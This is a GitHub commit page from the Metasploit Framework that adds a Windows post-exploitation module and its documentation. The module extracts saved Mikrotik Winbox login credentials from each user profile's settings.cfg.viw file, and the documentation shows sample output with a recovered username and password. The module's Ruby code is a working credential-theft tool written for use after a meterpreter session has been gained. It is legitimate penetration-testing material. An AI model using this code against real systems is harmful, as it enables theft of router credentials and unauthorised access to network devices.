-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18604, Add Post Windows Gather to perform Mikrotik Winbox "Keep…
… Password" credentials extraction Merge branch 'land-18604' into upstream-master
- Loading branch information
Showing
2 changed files
with
120 additions
and
0 deletions.
There are no files selected for viewing
37 changes: 37 additions & 0 deletions
37
documentation/modules/post/windows/gather/credentials/winbox_settings.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
## Vulnerable Application | ||
|
||
Any Windows host with a `meterpreter` session and Mikrotik Winbox installed. | ||
|
||
Winbox can be downloaded [here](https://mikrotik.com/download) | ||
|
||
### Installation Steps | ||
|
||
1. Download and open Mikrotik Winbox | ||
2. Enter a RouterOS device address into `Connect to`, username into `Login`, password into `Password` and check the flag `Keep Password` | ||
3. Click Connect | ||
|
||
## Verification Steps | ||
|
||
1. Get a `meterpreter` session on a Windows host. | ||
2. Do: `run post/windows/gather/credentials/winbox_settings` | ||
3. If any users in the system has a `Keep Password` enabled in Winbox, the credentials will be printed out. | ||
|
||
## Options | ||
|
||
### VERBOSE | ||
|
||
- By default verbose is turned off. When turned on, the module will show the HexDump of `settings.cfg.viw` files. | ||
|
||
## Scenarios | ||
|
||
``` | ||
msf6 post(windows/gather/credentials/winbox_settings) > run | ||
[*] VERBOSE: false | ||
[*] Checking Default Locations... | ||
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found .... | ||
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw | ||
[+] Login: ThisIsUsername | ||
[+] Password: ThisIsPassword | ||
[*] Post module execution completed | ||
``` |
83 changes: 83 additions & 0 deletions
83
modules/post/windows/gather/credentials/winbox_settings.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Post | ||
|
||
include Msf::Post::Common | ||
include Msf::Post::File | ||
include Msf::Post::Windows::UserProfiles | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Windows Gather Mikrotik Winbox "Keep Password" Credentials Extractor', | ||
'Description' => %q{ | ||
This module extracts Mikrotik Winbox credentials saved in the | ||
"settings.cfg.viw" file when the "Keep Password" option is | ||
selected in Winbox. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Pasquale \'sid\' Fiorillo'], # www.pasqualefiorillo.it - Thanks to: www.isgroup.biz | ||
'Platform' => ['win'], | ||
'SessionTypes' => ['meterpreter', 'shell', 'powershell'], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def run | ||
print_status('Checking Default Locations...') | ||
grab_user_profiles.each do |user| | ||
next if user['AppData'].nil? | ||
|
||
check_appdata(user['AppData'] + '\\Mikrotik\\Winbox\\settings.cfg.viw') | ||
end | ||
end | ||
|
||
def check_appdata(path) | ||
if file_exist?(path) | ||
print_good("Found File at #{path}") | ||
data = read_file(path) | ||
if datastore['VERBOSE'] | ||
print_hexdump(data) | ||
end | ||
parse(data) | ||
|
||
else | ||
print_status("#{path} not found ....") | ||
end | ||
end | ||
|
||
def file_data; end | ||
|
||
def print_hexdump(data) | ||
index = 0 | ||
while index < data.length | ||
chunk = data[index, [16, data.length - index].min] | ||
hex_chunk = chunk.each_byte.map { |b| sprintf('%02x', b) }.join(' ') | ||
ascii_chunk = chunk.gsub(/[^[:print:]]/, '.') | ||
print_status("#{hex_chunk.ljust(48)} #{ascii_chunk}") | ||
index += 16 | ||
end | ||
rescue StandardError => e | ||
print_error("An error occurred: #{e.message}") | ||
end | ||
|
||
def parse(data) | ||
login = data.match(/\x00\x05login(.*)\x08\x00/) | ||
print_good("Login: #{login[1]}") | ||
|
||
password = data.match(/\x00\x03pwd(.*)\x0B\x00/) | ||
print_good("Password: #{password[1]}") | ||
rescue StandardError => e | ||
print_error("An error occurred: #{e.message}") | ||
end | ||
|
||
end |